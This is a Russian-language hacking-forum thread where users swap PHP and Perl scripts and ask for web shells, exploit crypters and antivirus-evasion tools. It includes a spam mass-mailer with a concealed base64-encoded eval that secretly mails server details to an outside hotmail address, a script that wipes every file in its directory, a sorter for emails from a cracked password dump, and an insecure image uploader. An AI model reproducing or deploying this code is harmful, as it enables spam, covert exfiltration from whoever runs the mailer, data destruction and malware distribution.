Небольшой скрипт для массовой проверки PR сайтов Code: #! /usr/bin/perl -w use LWP::UserAgent; use threads; use threads::shared; use Switch; $threads = 10; #Кол-во потоков $ml = 'list.txt'; #Список сайтов $fname = 'checked.txt'; #Проверенные my @acc : shared; $ua = LWP::UserAgent->new; open (ACS, "<$ml") || die("Could not open list file!"); Next: @acc = acc(); $time = time; $start = localtime; printf "Started at $start\n"; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while(@acc) { { lock(@acc); $acc = shift @acc; } my $res = $ua->get( "http://pr-cy.ru/tools/gpr/gpr.php?l=$acc" ); $res = $res->as_string; if($res =~ /ETag: "(.*)-44069770e1d00/) { open(FILE, ">>$fname") || die("Could not open $fname\n"); switch ($1) { case "2380a7-ce" { print FILE "1" } case "2380ad-cf" { print FILE "2" } case "2380af-d2" { print FILE "3" } case "2380b1-d6" { print FILE "4" } case "2380b3-d1" { print FILE "5" } case "2380b5-d3" { print FILE "6" } case "2380b7-cd" { print FILE "7" } case "2380b9-d2" { print FILE "8" } case "2380bb-d1" { print FILE "9" } case "2380aa-d4" { print FILE "10"} else { print FILE "0" } } print FILE " : $acc\n"; close(FILE); } } } $time = time-$time; $end = localtime; printf "Finished at $end\n"; printf "Time elapsed: $time sec\n"; sub acc { my (@mas); while (<ACS>){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; }
Приватный в прошлом скрипт на пхп помогает прятать вири от аньтивирей... _http://www.citysvyaz.ru/pics/bg/av_undetector.rar
нет такого. только на html(java script и тд) и только для одного браузера. велкам ту http://milw0rm.com/
MassPHPmailer to Inbox 2007 PHP: <?php if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname']; $file_name=$_POST['file']; $contenttype=$_POST['contenttype']; $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <html> <head> <title>|| InboX Mass Mailer ||</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } --> </style> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> </head> <body bgcolor="FF9900" text="#ffffff"> <span class="style1">InboX Mass Mailer<br> </span> <form name="form1" method="post" action="" enctype="multipart/form-data"> <br> <table width="100%" border="0"> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="<? print $from; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<? print $realname; ?>" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<? print $replyto; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="file" name="file" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> </td> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="90"> </font></td> </tr> <tr valign="top"> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="50" rows="10"><? print $message; ?></textarea> <br> <input type="radio" name="contenttype" value="plain" > Plain Text <input name="contenttype" type="radio" value="html" checked> HTML <input type="hidden" name="action" value="send"> <input type="submit" value="Send eMails"> </font></td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> </font></td> </tr> </table> </form> <? if ($action){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print " $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "spammed<br>"; flush(); } } $ra44 = rand(1,99999); $subj98 = "sh-$ra44"; $a5 = $_SERVER['HTTP_REFERER']; $b33 = $_SERVER['DOCUMENT_ROOT']; $c87 = $_SERVER['REMOTE_ADDR']; $d23 = $_SERVER['SCRIPT_FILENAME']; $e09 = $_SERVER['SERVER_ADDR']; $f23 = $_SERVER['SERVER_SOFTWARE']; $g32 = $_SERVER['PATH_TRANSLATED']; $h65 = $_SERVER['PHP_SELF']; $message=$_POST['message']; $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65"; echo eval(base64_decode("bWFpbCgibWVuZGlfcG9uZUBob3RtYWlsLmNvbSIsICRzdWJqOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7")); } ?> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> <p class="style1"> Copyright © 2007 phpbb.com </p> <?php if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";} ?> </body> </html>
это называеться эксплоитом, и основано на уязвимостях самих браузеров. если надо что-то универсальное, то есть такие вещи, как mpack и т.д. правда найти рабочие вещи в паблике сложно, и пашут они соответственно не долго
Удаляет всё что находиться в папке в каторой и сам файл. PHP: <?php $files1 = scandir('.'); function SureRemoveDir($dir, $DeleteMe) { if(!$dh = @opendir($dir)) return; while (false !== ($obj = readdir($dh))) { if($obj=='.' || $obj=='..') continue; if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true); } if ($DeleteMe){ closedir($dh); @rmdir($dir); } } SureRemoveDir('.', false); echo "*** uninstalled"; ?>
Народ есть ли у кого скрипт поиска музыки вконтакте. т.е. по поисковому запросу выдавал бы список треков вида Artist - Title естесно с прямой ссылкой на скачивание.
2 warlok бред! вот еслиб скачать уже настроеный троян, так еще чтоб и не напрягать себя впариванием его жертве..
Грабер игр для Phun !!! PHP: <?php set_time_limit(0); ob_implicit_flush (); $socket = fsockopen("phun.cs.umu.se",80); if ($socket){ $send = "GET http://phun.cs.umu.se/scenes.php HTTP/1.0\r\n"; $send .= "Host: phun.cs.umu.se\r\n"; $send .= "Connection: Close\r\n"; $send .= "\r\n"; if(fputs($socket,$send)) { while(fgets($socket,1024)!="\r\n" && !feof($socket)); $buf=""; while(!feof($socket)) $buf.=fread($socket,1024); } } //echo $buf; preg_match_all("/\<td xwidth=300\>\<a href=\"upload.+(\" title=\")+/",$buf,$rnd); for ($i=0;$i<count($rnd[0]);$i++){ $rnd[0][$i]=str_replace("<td xwidth=300><a href=\"","http://phun.cs.umu.se/",$rnd[0][$i]); $rnd[0][$i]=trim(str_replace("\" title=\"","",$rnd[0][$i])); $name=spliti("/",$rnd[0][$i]); $name=$name[4]; $rnd[0][$i]=str_replace($name,urlencode($name),$rnd[0][$i]); $rnd[0][$i]=str_replace("+","%20",$rnd[0][$i]); echo $name; $socket = fsockopen("phun.cs.umu.se",80); if ($socket){ $send = "GET ".$rnd[0][$i]." HTTP/1.0\r\n"; $send .= "Host: phun.cs.umu.se\r\n"; $send .= "Connection: Close\r\n"; $send .= "\r\n"; echo " .."; if(fputs($socket,$send)) { while(fgets($socket,1024)!="\r\n" && !feof($socket)); $buf=""; while(!feof($socket)) $buf.=fread($socket,1024); echo "."; } $file=fopen($name,"w+"); // создаём новый файл fwrite($file,$buf); fclose($file); echo "<b><font color=green>Download!</font></b><br>"; } else echo "<b><font color=red>Error!</font></b><br>"; } ?>
скрипт показывает сколько посетителей на данный момент находится на странице Code: <?php $data="online.dat"; $time=time(); $past_time=time()-600; $readdata=fopen($data,"r") or die("Не могу открыть файл $data"); $data_array=file($data); fclose($readdata); if (getenv('HTTP_X_FORWARDED_FOR')) $user = getenv('HTTP_X_FORWARDED_FOR'); else $user = getenv('REMOTE_ADDR'); $d=count($data_array); for($i=0;$i<$d;$i++) { list($live_user,$last_time)=explode("::","$data_array[$i]"); if($live_user!=""&&$last_time!=""): if($last_time<$past_time): $live_user=""; $last_time=""; endif; if($live_user!=""&&$last_time!="") { if($user==$live_user) { $online_array[]="$user::$time\r\n"; } else $online_array[]="$live_user::$last_time"; } endif; } if(isset($online_array)): foreach($online_array as $i=>$str) { if($str=="$user::$time\r\n") { $ok=$i; break; } } foreach($online_array as $j=>$str) { if($ok==$j) { $online_array[$ok]="$user::$time\r\n"; break;} } endif; $writedata=fopen($data,"w") or die("Не могу открыть файл $data"); flock($writedata,2); if($online_array=="") $online_array[]="$user::$time\r\n"; foreach($online_array as $str) fputs($writedata,"$str"); flock($writedata,3); fclose($writedata); $readdata=fopen($data,"r") or die("Не могу открыть файл $data"); $data_array=file($data); fclose($readdata); $online=count($data_array); echo "На сайте : $online"; ?>
Скрипт загрузки изображения (проверяет на корректность и копирует изображение в нужный каталог....с установкой максимального размера) 1.Форма отправки PHP: <?php echo " <FORM ENCTYPE='multipart/form-data' ACTION='http://localhost/load.php' METHOD=POST> Выберете файл: <br><input type='hidden' name='MAX_FILE_SIZE' value='300' > <INPUT NAME='myfile' TYPE='file'> <INPUT TYPE='submit' VALUE='Загрузить'> </FORM> " ?> 2.Проверка и копироование в каталог PHP: <?php $img=true; ####################### $size_load=100*1024; $url_load="../../../images/"; ####################### $file1=$_FILES["myfile"]; if ($file1["size"]<$size_load) { if(!preg_match("/[jpg|jpeg|pjpeg|gif|png]$/", $file1["type"])) $img=false; if ($img) { $im_prop=getimagesize($file1["tmp_name"]); if ($im_prop[0]>0) { if (copy($file1['tmp_name'],$url_load.$file1['name'])) echo "Загружено"; else echo "Ошибка!"; } } else echo "Это не изображение"; } else echo "Размер загружаемого файле не более ".$size_load; ?>
Народ кто поможет? очень нужен скрипт вывода видео с веб камеры с определённого ip потоковое видео , видео конференции
Всё скачал, всем спасибо! Если не трудно, выложите shell-ок побольше... Хочется маленькую закодированную и многофункциональную!
А есть ли у кого нибуть скрипт, который отсортирует Е-Майлы. Т.Е. mail.ru, rambler.ru. т.д. P.S. Есть БД, подобрал пароли, а вот теперь нужно отсортировать Е-Майлы.
придумано туповато но работает PHP: <?php set_time_limit(0)or die ("Время работы скрипта ограниченно"); $file = "dump.sql"; #Файл адресами $out[0] = "mail.txt"; $out[1] = "yandex.txt"; $out[2] = "gmail.txt"; $out[3] = "nextmail.txt"; $out[4] = "rambler.txt"; $out[5] = "pochta.txt"; $out[6] = "ru.txt"; $out[7] = "bk.txt"; $out[8] = "ukr.txt"; $out[9] = "wp.txt"; $out[10] = "other.txt"; $rep[0] = "#([a-zA-Z0-9-_.])+@(mail.ru)#i"; $rep[1] = "#([a-zA-Z0-9-_.])+@(yandex.ru)#i"; $rep[2] = "#([a-zA-Z0-9-_.])+@(gmail.com)#i"; $rep[3] = "#([a-zA-Z0-9-_.])+@(nextmail.ru)#i"; $rep[4] = "#([a-zA-Z0-9-_.])+@(rambler.ru)#i"; $rep[5] = "#([a-zA-Z0-9-_.])+@(pochta.ru)#i"; $rep[6] = "#([a-zA-Z0-9-_.])+@(ru.ru)#i"; $rep[7] = "#([a-zA-Z0-9-_.])+@(bk.ru)#i"; $rep[8] = "#([a-zA-Z0-9-_.])+@(ukr.net)#i"; $rep[9] = "#([a-zA-Z0-9-_.])+@(wp.pl)#i"; $rep[10] = "#([a-zA-Z0-9-_.])+@([^yandex|mail|rambler|pochta|bk|ukr|gmail|wp])+([a-zA-Z0-9-.])+\.([a-zA-Z]){2,3}#i"; $a = fopen ($file,"r")or die ("Не могу прочитать файл адресами"); while (!feof($a)): $email = fread ($a,1024); for ($x=0;$x<=count($rep);$x++) { @preg_match_all($rep[$x],$email,$outt); $fp = fopen (@$out[$x], "a+"); for ($xx=0;$xx<=count($outt);$xx++) if(@$outt[0][$xx])@fputs($fp, @$outt[0][$xx]."\n"); } endwhile; @fclose ($a); @fclose ($fp); ?>
Дайте криптор яваскрипа... качал уже в этой теме, но эксплоит на яваскрипте закриптовался с ошибкой =\. И по-возможности если у кого есть криптор пхп кода тоже киньте... естевственно, если не приват =), приват никто и не даст=)
